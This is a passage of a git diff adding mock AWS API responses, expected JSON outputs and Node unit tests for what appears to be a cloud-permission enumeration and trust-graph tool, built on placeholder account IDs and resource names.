"arn:aws:iam::123456789012:assumed-role/TestRole/session", + "UserId": "AROATEST:session" + }, + "DescribeParametersCommand": { + "Parameters": [ + { + "Name": "/app/secret-key", + "Type": "SecureString", + "KeyId": "arn:aws:kms:us-east-1:123456789012:key/secure-key-id", + "LastModifiedDate": "2024-03-15T00:00:00.000Z", + "Version": 3, + "Tier": "Standard", + "DataType": "text" + }, + { + "Name": "/app/config/region", + "Type": "String", + "LastModifiedDate": "2024-01-01T00:00:00.000Z", + "Version": 1, + "Tier": "Standard", + "DataType": "text" + } + ] + }, + "GetResourcePolicyCommand": {} +} diff --git a/test/fixtures/enum/ssm/expected.json b/test/fixtures/enum/ssm/expected.json new file mode 100644 index 0000000..5cf54ee --- /dev/null +++ b/test/fixtures/enum/ssm/expected.json @@ -0,0 +1,38 @@ +{ + "module": "ssm", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "findings": [ + { + "resource_type": "ssm_parameter", + "resource_id": "/app/secret-key", + "arn": "arn:aws:ssm:us-east-1:123456789012:parameter/app/secret-key", + "region": "us-east-1", + "type": "SecureString", + "tier": "Standard", + "kms_key_id": "arn:aws:kms:us-east-1:123456789012:key/secure-key-id", + "data_type": "text", + "last_modified": "2024-03-15T00:00:00.000Z", + "version": 3, + "has_resource_policy": false, + "resource_policy": null, + "findings": [] + }, + { + "resource_type": "ssm_parameter", + "resource_id": "/app/config/region", + "arn": "arn:aws:ssm:us-east-1:123456789012:parameter/app/config/region", + "region": "us-east-1", + "type": "String", + "tier": "Standard", + "kms_key_id": null, + "data_type": "text", + "last_modified": "2024-01-01T00:00:00.000Z", + "version": 1, + "has_resource_policy": false, + "resource_policy": null, + "findings": [] + } + ] +} diff --git a/test/fixtures/enum/sts/api-responses.json b/test/fixtures/enum/sts/api-responses.json new file mode 100644 index 0000000..822f35c --- /dev/null +++ b/test/fixtures/enum/sts/api-responses.json @@ -0,0 +1,12 @@ +{ + "GetCallerIdentityCommand": { + "Account": "123456789012", + "Arn": "arn:aws:iam::123456789012:user/TestUser", + "UserId": "AIDATEST123456789" + }, + "DescribeOrganizationCommand": { + "_error": true, + "name": "AccessDeniedException", + "message": "You don't have permissions to access this resource." + } +} diff --git a/test/fixtures/enum/sts/expected.json b/test/fixtures/enum/sts/expected.json new file mode 100644 index 0000000..405650e --- /dev/null +++ b/test/fixtures/enum/sts/expected.json @@ -0,0 +1,18 @@ +{ + "module": "sts", + "account_id": "123456789012", + "region": "global", + "status": "partial", + "findings": [ + { + "resource_type": "sts_identity", + "resource_id": "caller", + "arn": "arn:aws:iam::123456789012:user/TestUser", + "region": "global", + "account_id": "123456789012", + "user_id": "AIDATEST123456789", + "principal_type": "user", + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/basic/expected.json b/test/fixtures/extract-graph/basic/expected.json new file mode 100644 index 0000000..7c92d47 --- /dev/null +++ b/test/fixtures/extract-graph/basic/expected.json @@ -0,0 +1,21 @@ +{ + "nodes": [ + {"id": "data:kms:key-abc123", "label": "key-abc123", "type": "data", "_source": "api"}, + {"id": "data:s3:data-bucket", "label": "data-bucket", "type": "data", "_source": "api"}, + {"id": "data:s3:logs-bucket", "label": "logs-bucket", "type": "data", "_source": "api"}, + {"id": "group:Developers", "label": "Developers", "type": "group", "_source": "api"}, + {"id": "role:AdminRole", "label": "AdminRole", "type": "role", "_source": "api"}, + {"id": "role:CrossAccountRole", "label": "CrossAccountRole", "type": "role", "_source": "api"}, + {"id": "role:LambdaExecRole", "label": "LambdaExecRole", "type": "role", "_source": "api"}, + {"id": "svc:lambda.amazonaws.com", "label": "lambda.amazonaws.com", "type": "external", "_source": "api"}, + {"id": "svc:sso.amazonaws.com", "label": "sso.amazonaws.com", "type": "external", "_source": "api"}, + {"id": "user:alice", "label": "alice", "type": "user", "_source": "api"}, + {"id": "user:bob", "label": "bob", "type": "user", "_source": "api"} + ], + "edges": [ + {"source": "external:arn:aws:iam::999888777666:root", "target": "role:CrossAccountRole", "edge_type": "trust", "trust_type": "cross-account", "severity": "high", "label": "can_assume", "_source": "api"}, + {"source": "svc:lambda.amazonaws.com", "target": "role:LambdaExecRole", "edge_type": "service", "trust_type": "service", "severity": "low", "label": "can_assume", "_source": "api"}, + {"source": "user:alice", "target": "group:Developers", "edge_type": "membership", "label": "member_of", "_source": "api"}, + {"source": "user:alice", "target": "role:AdminRole", "edge_type": "trust", "trust_type": "same-account", "severity": "medium", "label": "can_assume", "_source": "api"} + ] +} diff --git a/test/fixtures/extract-graph/basic/iam.json b/test/fixtures/extract-graph/basic/iam.json new file mode 100644 index 0000000..72d0407 --- /dev/null +++ b/test/fixtures/extract-graph/basic/iam.json @@ -0,0 +1,92 @@ +{ + "module": "iam", + "account_id": "123456789012", + "region": "us-east-1", + "timestamp": "2026-04-19T00:00:00Z", + "status": "complete", + "findings": [ + { + "resource_type": "iam_user", + "resource_id": "alice", + "arn": "arn:aws:iam::123456789012:user/alice", + "region": "global", + "groups": ["Developers"], + "findings": [] + }, + { + "resource_type": "iam_user", + "resource_id": "bob", + "arn": "arn:aws:iam::123456789012:user/bob", + "region": "global", + "groups": [], + "findings": [] + }, + { + "resource_type": "iam_role", + "resource_id": "AdminRole", + "arn": "arn:aws:iam::123456789012:role/AdminRole", + "region": "global", + "is_service_linked": false, + "trust_relationships": [ + { + "principal": "arn:aws:iam::123456789012:user/alice", + "trust_type": "same-account", + "risk": "medium" + } + ], + "findings": [] + }, + { + "resource_type": "iam_role", + "resource_id": "LambdaExecRole", + "arn": "arn:aws:iam::123456789012:role/LambdaExecRole", + "region": "global", + "is_service_linked": false, + "trust_relationships": [ + { + "principal": "lambda.amazonaws.com", + "trust_type": "service", + "risk": "low" + } + ], + "findings": [] + }, + { + "resource_type": "iam_role", + "resource_id": "AWSServiceRoleForSSO", + "arn": "arn:aws:iam::123456789012:role/aws-service-role/sso.amazonaws.com/AWSServiceRoleForSSO", + "region": "global", + "is_service_linked": true, + "trust_relationships": [ + { + "principal": "sso.amazonaws.com", + "trust_type": "service", + "risk": "low" + } + ], + "findings": [] + }, + { + "resource_type": "iam_role", + "resource_id": "CrossAccountRole", + "arn": "arn:aws:iam::123456789012:role/CrossAccountRole", + "region": "global", + "is_service_linked": false, + "trust_relationships": [ + { + "principal": "arn:aws:iam::999888777666:root", + "trust_type": "cross-account", + "risk": "high" + } + ], + "findings": [] + }, + { + "resource_type": "iam_group", + "resource_id": "Developers", + "arn": "arn:aws:iam::123456789012:group/Developers", + "region": "global", + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/basic/kms.json b/test/fixtures/extract-graph/basic/kms.json new file mode 100644 index 0000000..b552601 --- /dev/null +++ b/test/fixtures/extract-graph/basic/kms.json @@ -0,0 +1,16 @@ +{ + "module": "kms", + "account_id": "123456789012", + "region": "us-east-1", + "timestamp": "2026-04-19T00:00:00Z", + "status": "complete", + "findings": [ + { + "resource_type": "kms_key", + "resource_id": "key-abc123", + "arn": "arn:aws:kms:us-east-1:123456789012:key/key-abc123", + "region": "us-east-1", + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/basic/s3.json b/test/fixtures/extract-graph/basic/s3.json new file mode 100644 index 0000000..1fff611 --- /dev/null +++ b/test/fixtures/extract-graph/basic/s3.json @@ -0,0 +1,23 @@ +{ + "module": "s3", + "account_id": "123456789012", + "region": "us-east-1", + "timestamp": "2026-04-19T00:00:00Z", + "status": "complete", + "findings": [ + { + "resource_type": "s3_bucket", + "resource_id": "data-bucket", + "arn": "arn:aws:s3:::data-bucket", + "region": "us-east-1", + "findings": [] + }, + { + "resource_type": "s3_bucket", + "resource_id": "logs-bucket", + "arn": "arn:aws:s3:::logs-bucket", + "region": "us-east-1", + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/empty/expected.json b/test/fixtures/extract-graph/empty/expected.json new file mode 100644 index 0000000..65881b0 --- /dev/null +++ b/test/fixtures/extract-graph/empty/expected.json @@ -0,0 +1 @@ +{"nodes": [], "edges": []} diff --git a/test/fixtures/extract-graph/expanded-services/apigateway.json b/test/fixtures/extract-graph/expanded-services/apigateway.json new file mode 100644 index 0000000..a644ed7 --- /dev/null +++ b/test/fixtures/extract-graph/expanded-services/apigateway.json @@ -0,0 +1,19 @@ +{ + "module": "apigateway", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "timestamp": "2026-04-19T00:00:00.000Z", + "findings": [ + { + "resource_type": "apigateway_rest_api", + "resource_id": "abc1234567", + "arn": "arn:aws:apigateway:us-east-1::/restapis/abc1234567", + "region": "us-east-1", + "lambda_integrations": [ + "arn:aws:lambda:us-east-1:123456789012:function:api-handler" + ], + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/expanded-services/bedrock.json b/test/fixtures/extract-graph/expanded-services/bedrock.json new file mode 100644 index 0000000..074445b --- /dev/null +++ b/test/fixtures/extract-graph/expanded-services/bedrock.json @@ -0,0 +1,17 @@ +{ + "module": "bedrock", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "timestamp": "2026-04-19T00:00:00.000Z", + "findings": [ + { + "resource_type": "bedrock_agent", + "resource_id": "AGENTID001", + "arn": "arn:aws:bedrock:us-east-1:123456789012:agent/AGENTID001", + "region": "us-east-1", + "execution_role_arn": "arn:aws:iam::123456789012:role/bedrock-agent-role", + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/expanded-services/codebuild.json b/test/fixtures/extract-graph/expanded-services/codebuild.json new file mode 100644 index 0000000..95365ad --- /dev/null +++ b/test/fixtures/extract-graph/expanded-services/codebuild.json @@ -0,0 +1,17 @@ +{ + "module": "codebuild", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "timestamp": "2026-04-19T00:00:00.000Z", + "findings": [ + { + "resource_type": "codebuild_project", + "resource_id": "my-build-project", + "arn": "arn:aws:codebuild:us-east-1:123456789012:project/my-build-project", + "region": "us-east-1", + "service_role": "arn:aws:iam::123456789012:role/codebuild-role", + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/expanded-services/cognito.json b/test/fixtures/extract-graph/expanded-services/cognito.json new file mode 100644 index 0000000..4bdc162 --- /dev/null +++ b/test/fixtures/extract-graph/expanded-services/cognito.json @@ -0,0 +1,18 @@ +{ + "module": "cognito", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "timestamp": "2026-04-19T00:00:00.000Z", + "findings": [ + { + "resource_type": "cognito_identity_pool", + "resource_id": "us-east-1:pool-id-001", + "arn": "arn:aws:cognito-identity:us-east-1:123456789012:identitypool/us-east-1:pool-id-001", + "region": "us-east-1", + "authenticated_role_arn": "arn:aws:iam::123456789012:role/cognito-auth-role", + "unauthenticated_role_arn": "arn:aws:iam::123456789012:role/cognito-unauth-role", + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/expanded-services/dynamodb.json b/test/fixtures/extract-graph/expanded-services/dynamodb.json new file mode 100644 index 0000000..0b6c839 --- /dev/null +++ b/test/fixtures/extract-graph/expanded-services/dynamodb.json @@ -0,0 +1,16 @@ +{ + "module": "dynamodb", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "timestamp": "2026-04-19T00:00:00.000Z", + "findings": [ + { + "resource_type": "dynamodb_table", + "resource_id": "my-table", + "arn": "arn:aws:dynamodb:us-east-1:123456789012:table/my-table", + "region": "us-east-1", + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/expanded-services/ec2.json b/test/fixtures/extract-graph/expanded-services/ec2.json new file mode 100644 index 0000000..d102e4f --- /dev/null +++ b/test/fixtures/extract-graph/expanded-services/ec2.json @@ -0,0 +1,19 @@ +{ + "module": "ec2", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "timestamp": "2026-04-19T00:00:00.000Z", + "findings": [ + { + "resource_type": "ec2_instance", + "resource_id": "i-0abc123def456", + "arn": "arn:aws:ec2:us-east-1:123456789012:instance/i-0abc123def456", + "region": "us-east-1", + "iam_instance_profile": { + "arn": "arn:aws:iam::123456789012:instance-profile/ec2-profile" + }, + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/expanded-services/expected.json b/test/fixtures/extract-graph/expanded-services/expected.json new file mode 100644 index 0000000..74ba600 --- /dev/null +++ b/test/fixtures/extract-graph/expanded-services/expected.json @@ -0,0 +1,33 @@ +{ + "nodes": [ + {"id": "ai:bedrock:AGENTID001", "label": "AGENTID001", "type": "ai", "_source": "api"}, + {"id": "compute:codebuild:my-build-project", "label": "my-build-project", "type": "compute", "_source": "api"}, + {"id": "compute:ec2:i-0abc123def456", "label": "i-0abc123def456", "type": "compute", "_source": "api"}, + {"id": "compute:lambda:my-function", "label": "my-function", "type": "compute", "_source": "api"}, + {"id": "data:dynamodb:my-table", "label": "my-table", "type": "data", "_source": "api"}, + {"id": "data:kms:mrk-12345abcdef", "label": "mrk-12345abcdef", "type": "data", "_source": "api"}, + {"id": "data:rds:my-database", "label": "my-database", "type": "data", "_source": "api"}, + {"id": "data:s3:my-data-bucket", "label": "my-data-bucket", "type": "data", "_source": "api"}, + {"id": "data:secrets:prod/myapp/api-key", "label": "prod/myapp/api-key", "type": "data", "_source": "api"}, + {"id": "data:ssm:/myapp/config/db-password", "label": "/myapp/config/db-password", "type": "data", "_source": "api"}, + {"id": "gateway:apigw:abc1234567", "label": "abc1234567", "type": "gateway", "_source": "api"}, + {"id": "idp:cognito:us-east-1:pool-id-001", "label": "us-east-1:pool-id-001", "type": "idp", "_source": "api"}, + {"id": "messaging:sns:arn:aws:sns:us-east-1:123456789012:my-topic", "label": "arn:aws:sns:us-east-1:123456789012:my-topic", "type": "messaging", "_source": "api"}, + {"id": "messaging:sqs:https://sqs.us-east-1.amazonaws.com/123456789012/my-queue", "label": "https://sqs.us-east-1.amazonaws.com/123456789012/my-queue", "type": "messaging", "_source": "api"}, + {"id": "oidc:token.actions.githubusercontent.com", "label": "token.actions.githubusercontent.com", "type": "oidc", "_source": "api"}, + {"id": "role:test-role", "label": "test-role", "type": "role", "_source": "api"}, + {"id": "svc:lambda.amazonaws.com", "label": "lambda.amazonaws.com", "type": "external", "_source": "api"}, + {"id": "user:test-user", "label": "test-user", "type": "user", "_source": "api"} + ], + "edges": [ + {"source": "ai:bedrock:AGENTID001", "target": "role:bedrock-agent-role", "edge_type": "executes_as", "label": "executes_as", "_source": "api"}, + {"source": "compute:codebuild:my-build-project", "target": "role:codebuild-role", "edge_type": "executes_as", "label": "executes_as", "_source": "api"}, + {"source": "compute:ec2:i-0abc123def456", "target": "role:ec2-profile", "edge_type": "executes_as", "label": "executes_as", "_source": "api"}, + {"source": "compute:lambda:my-function", "target": "role:lambda-exec-role", "edge_type": "executes_as", "label": "executes_as", "_source": "api"}, + {"source": "gateway:apigw:abc1234567", "target": "compute:lambda:api-handler", "edge_type": "invokes", "label": "invokes", "_source": "api"}, + {"source": "idp:cognito:us-east-1:pool-id-001", "target": "role:cognito-auth-role", "edge_type": "authenticates_to", "label": "authenticates_to", "_source": "api"}, + {"source": "idp:cognito:us-east-1:pool-id-001", "target": "role:cognito-unauth-role", "edge_type": "authenticates_to", "label": "authenticates_to", "_source": "api"}, + {"source": "oidc:token.actions.githubusercontent.com", "target": "role:github-actions-role", "edge_type": "authenticates_to", "label": "authenticates_to", "conditions": {"trust_type": "federated", "principal": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"}, "_source": "api"}, + {"source": "svc:lambda.amazonaws.com", "target": "role:test-role", "edge_type": "service", "trust_type": "service", "severity": "low", "label": "can_assume", "_source": "api"} + ] +} diff --git a/test/fixtures/extract-graph/expanded-services/iam.json b/test/fixtures/extract-graph/expanded-services/iam.json new file mode 100644 index 0000000..a5959b7 --- /dev/null +++ b/test/fixtures/extract-graph/expanded-services/iam.json @@ -0,0 +1,49 @@ +{ + "module": "iam", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "timestamp": "2026-04-19T00:00:00.000Z", + "findings": [ + { + "resource_type": "iam_user", + "resource_id": "test-user", + "arn": "arn:aws:iam::123456789012:user/test-user", + "region": "global", + "groups": [], + "findings": [] + }, + { + "resource_type": "iam_role", + "resource_id": "test-role", + "arn": "arn:aws:iam::123456789012:role/test-role", + "region": "global", + "is_service_linked": false, + "trust_relationships": [ + { + "principal": "lambda.amazonaws.com", + "trust_type": "service", + "risk": "low" + } + ], + "findings": [] + }, + { + "resource_type": "oidc_provider", + "resource_id": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com", + "arn": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com", + "url": "token.actions.githubusercontent.com", + "region": "global", + "assumed_role_arns": [ + "arn:aws:iam::123456789012:role/github-actions-role" + ], + "trust_conditions": [ + { + "trust_type": "federated", + "principal": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com" + } + ], + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/expanded-services/kms.json b/test/fixtures/extract-graph/expanded-services/kms.json new file mode 100644 index 0000000..dfb8a97 --- /dev/null +++ b/test/fixtures/extract-graph/expanded-services/kms.json @@ -0,0 +1,16 @@ +{ + "module": "kms", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "timestamp": "2026-04-19T00:00:00.000Z", + "findings": [ + { + "resource_type": "kms_key", + "resource_id": "mrk-12345abcdef", + "arn": "arn:aws:kms:us-east-1:123456789012:key/mrk-12345abcdef", + "region": "us-east-1", + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/expanded-services/lambda.json b/test/fixtures/extract-graph/expanded-services/lambda.json new file mode 100644 index 0000000..edcf675 --- /dev/null +++ b/test/fixtures/extract-graph/expanded-services/lambda.json @@ -0,0 +1,17 @@ +{ + "module": "lambda", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "timestamp": "2026-04-19T00:00:00.000Z", + "findings": [ + { + "resource_type": "lambda_function", + "resource_id": "my-function", + "arn": "arn:aws:lambda:us-east-1:123456789012:function:my-function", + "region": "us-east-1", + "role": "arn:aws:iam::123456789012:role/lambda-exec-role", + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/expanded-services/rds.json b/test/fixtures/extract-graph/expanded-services/rds.json new file mode 100644 index 0000000..18d0366 --- /dev/null +++ b/test/fixtures/extract-graph/expanded-services/rds.json @@ -0,0 +1,16 @@ +{ + "module": "rds", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "timestamp": "2026-04-19T00:00:00.000Z", + "findings": [ + { + "resource_type": "rds_instance", + "resource_id": "my-database", + "arn": "arn:aws:rds:us-east-1:123456789012:db:my-database", + "region": "us-east-1", + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/expanded-services/s3.json b/test/fixtures/extract-graph/expanded-services/s3.json new file mode 100644 index 0000000..1d86f0c --- /dev/null +++ b/test/fixtures/extract-graph/expanded-services/s3.json @@ -0,0 +1,16 @@ +{ + "module": "s3", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "timestamp": "2026-04-19T00:00:00.000Z", + "findings": [ + { + "resource_type": "s3_bucket", + "resource_id": "my-data-bucket", + "arn": "arn:aws:s3:::my-data-bucket", + "region": "us-east-1", + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/expanded-services/secrets.json b/test/fixtures/extract-graph/expanded-services/secrets.json new file mode 100644 index 0000000..ae5d527 --- /dev/null +++ b/test/fixtures/extract-graph/expanded-services/secrets.json @@ -0,0 +1,16 @@ +{ + "module": "secrets", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "timestamp": "2026-04-19T00:00:00.000Z", + "findings": [ + { + "resource_type": "secret", + "resource_id": "prod/myapp/api-key", + "arn": "arn:aws:secretsmanager:us-east-1:123456789012:secret:prod/myapp/api-key-AbCdEf", + "region": "us-east-1", + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/expanded-services/sns.json b/test/fixtures/extract-graph/expanded-services/sns.json new file mode 100644 index 0000000..25a20fa --- /dev/null +++ b/test/fixtures/extract-graph/expanded-services/sns.json @@ -0,0 +1,16 @@ +{ + "module": "sns", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "timestamp": "2026-04-19T00:00:00.000Z", + "findings": [ + { + "resource_type": "sns_topic", + "resource_id": "arn:aws:sns:us-east-1:123456789012:my-topic", + "arn": "arn:aws:sns:us-east-1:123456789012:my-topic", + "region": "us-east-1", + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/expanded-services/sqs.json b/test/fixtures/extract-graph/expanded-services/sqs.json new file mode 100644 index 0000000..9492a03 --- /dev/null +++ b/test/fixtures/extract-graph/expanded-services/sqs.json @@ -0,0 +1,16 @@ +{ + "module": "sqs", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "timestamp": "2026-04-19T00:00:00.000Z", + "findings": [ + { + "resource_type": "sqs_queue", + "resource_id": "https://sqs.us-east-1.amazonaws.com/123456789012/my-queue", + "arn": "arn:aws:sqs:us-east-1:123456789012:my-queue", + "region": "us-east-1", + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/expanded-services/ssm.json b/test/fixtures/extract-graph/expanded-services/ssm.json new file mode 100644 index 0000000..b701c8c --- /dev/null +++ b/test/fixtures/extract-graph/expanded-services/ssm.json @@ -0,0 +1,16 @@ +{ + "module": "ssm", + "account_id": "123456789012", + "region": "us-east-1", + "status": "complete", + "timestamp": "2026-04-19T00:00:00.000Z", + "findings": [ + { + "resource_type": "ssm_parameter", + "resource_id": "/myapp/config/db-password", + "arn": "arn:aws:ssm:us-east-1:123456789012:parameter/myapp/config/db-password", + "region": "us-east-1", + "findings": [] + } + ] +} diff --git a/test/fixtures/extract-graph/iam-only/expected.json b/test/fixtures/extract-graph/iam-only/expected.json new file mode 100644 index 0000000..718a518 --- /dev/null +++ b/test/fixtures/extract-graph/iam-only/expected.json @@ -0,0 +1,9 @@ +{ + "nodes": [ + {"id": "role:DeployRole", "label": "DeployRole", "type": "role", "_source": "api"}, + {"id": "user:admin", "label": "admin", "type": "user", "_source": "api"} + ], + "edges": [ + {"source": "role:BuildRole", "target": "role:DeployRole", "edge_type": "trust", "trust_type": "same-account", "severity": "low", "label": "can_assume", "_source": "api"} + ] +} diff --git a/test/fixtures/extract-graph/iam-only/iam.json b/test/fixtures/extract-graph/iam-only/iam.json new file mode 100644 index 0000000..13caba7 --- /dev/null +++ b/test/fixtures/extract-graph/iam-only/iam.json @@ -0,0 +1,32 @@ +{ + "module": "iam", + "account_id": "123456789012", + "region": "us-east-1", + "timestamp": "2026-04-19T00:00:00Z", + "status": "complete", + "findings": [ + { + "resource_type": "iam_user", + "resource_id": "admin", + "arn": "arn:aws:iam::123456789012:user/admin", + "region": "global", + "groups": [], + "findings": [] + }, + { + "resource_type": "iam_role", + "resource_id": "DeployRole", + "arn": "arn:aws:iam::123456789012:role/DeployRole", + "region": "global", + "is_service_linked": false, + "trust_relationships": [ + { + "principal": "arn:aws:iam::123456789012:role/BuildRole", + "trust_type": "same-account", + "risk": "low" + } + ], + "findings": [] + } + ] +} diff --git a/test/lib-base-enum.test.js b/test/lib-base-enum.test.js new file mode 100644 index 0000000..b4f5458 --- /dev/null +++ b/test/lib-base-enum.test.js @@ -0,0 +1,44 @@ +#!/usr/bin/env node +'use strict'; + +const assert = require('assert'); +const { parseArgs } = require('../scripts/lib/base-enum'); + +let passed = 0; +let failed = 0; + +function test(name, fn) { + try { + fn(); + console.log(` PASS: ${name}`); + passed++; + } catch (err) { + console.error(` FAIL: ${name}`); + console.error(` ${err.message}`); + failed++; + } +} + +test('parseArgs extracts all flags', () => { + const args = parseArgs(['node', 'script.js', '--run-dir', '/tmp/test', '--account-id', '123456789012', '--region', 'us-east-1,us-west-2']); + assert.strictEqual(args.runDir, '/tmp/test'); + assert.strictEqual(args.accountId, '123456789012'); + assert.strictEqual(args.region, 'us-east-1,us-west-2'); +}); + +test('parseArgs handles missing flags', () => { + const args = parseArgs(['node', 'script.js', '--run-dir', '/tmp/test']); + assert.strictEqual(args.runDir, '/tmp/test'); + assert.strictEqual(args.accountId, null); + assert.strictEqual(args.region, null); +}); + +test('parseArgs handles empty argv', () => { + const args = parseArgs(['node', 'script.js']); + assert.strictEqual(args.runDir, null); + assert.strictEqual(args.accountId, null); + assert.strictEqual(args.region, null); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +process.exit(failed > 0 ? 1 : 0); diff --git a/test/lib-policy-parser.test.js b/test/lib-policy-parser.test.js new file mode 100644 index 0000000..fe9d36c --- /dev/null +++ b/test/lib-policy-parser.test.js @@ -0,0 +1,84 @@ +#!/usr/bin/env node +'use strict'; + +const assert = require('assert'); +const { extractPolicyPrincipals } = require('../scripts/lib/policy-parser'); + +let passed = 0; +let failed = 0; + +function test(name, fn) { + try { + fn(); + console.log(` PASS: ${name}`); + passed++; + } catch (err) { + console.error(` FAIL: ${name}`); + console.error(` ${err.message}`); + failed++; + } +} + +test('extracts wildcard principal', () => { + const policy = JSON.stringify({ + Statement: [{ Effect: 'Allow', Principal: '*', Action: 's3:GetObject', Resource: '*' }], + }); + const result = extractPolicyPrincipals(policy); + assert.deepStrictEqual(result, ['*']); +}); + +test('extracts AWS principals', () => { + const policy = JSON.stringify({ + Statement: [{ Effect: 'Allow', Principal: { AWS: ['arn:aws:iam::123456789012:root', 'arn:aws:iam::999999999999:role/cross'] }, Action: '*', Resource: '*' }], + }); + const result = extractPolicyPrincipals(policy); + assert.strictEqual(result.length, 2); + assert.ok(result.includes('arn:aws:iam::123456789012:root')); + assert.ok(result.includes('arn:aws:iam::999999999999:role/cross')); +}); + +test('extracts Service principals', () => { + const policy = JSON.stringify({ + Statement: [{ Effect: 'Allow', Principal: { Service: 'lambda.amazonaws.com' }, Action: '*', Resource: '*' }], + }); + const result = extractPolicyPrincipals(policy); + assert.deepStrictEqual(result, ['lambda.amazonaws.com']); +}); + +test('skips Deny statements', () => { + const policy = JSON.stringify({ + Statement: [{ Effect: 'Deny', Principal: '*', Action: '*', Resource: '*' }], + }); + const result = extractPolicyPrincipals(policy); + assert.deepStrictEqual(result, []); +}); + +test('returns empty for null input', () => { + assert.deepStrictEqual(extractPolicyPrincipals(null), []); +}); + +test('returns empty for invalid JSON', () => { + assert.deepStrictEqual(extractPolicyPrincipals('not-json'), []); +}); + +test('deduplicates principals', () => { + const policy = JSON.stringify({ + Statement: [ + { Effect: 'Allow', Principal: { AWS: 'arn:aws:iam::123456789012:root' }, Action: 's3:Get*', Resource: '*' }, + { Effect: 'Allow', Principal: { AWS: 'arn:aws:iam::123456789012:root' }, Action: 's3:Put*', Resource: '*' }, + ], + }); + const result = extractPolicyPrincipals(policy); + assert.strictEqual(result.length, 1); +}); + +test('handles pre-parsed object input', () => { + const policy = { + Statement: [{ Effect: 'Allow', Principal: { Service: 'sns.amazonaws.com' }, Action: 'sqs:SendMessage', Resource: '*' }], + }; + const result = extractPolicyPrincipals(policy); + assert.deepStrictEqual(result, ['sns.amazonaws.com']); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +process.exit(failed > 0 ? 1 : 0); diff --git a/test/run-all.js b/test/run-all.js new file mode 100644 index 0000000..71b3f3f --- /dev/null +++ b/test/run-all.js @@ -0,0 +1,22 @@ +'use strict'; +const { execSync } = require('child_process'); +const fs = require('fs'); +const path = require('path'); + +const testDir = __dirname; +const tests = fs.readdirSync(testDir) + .filter(f => f.endsWith('.test.js')) + .sort(); + +console.log(`Running ${tests.length} test files...\n`); +let ok = true; +for (const t of tests) { + console.log(`--- ${t} ---`); + try { + execSync(`node ${path.join(testDir, t)}`, { stdio: 'inherit' }); + } catch { + ok = false; + break; // D-04: fail-fast + } +} +process.exit(ok ? 0 : 1);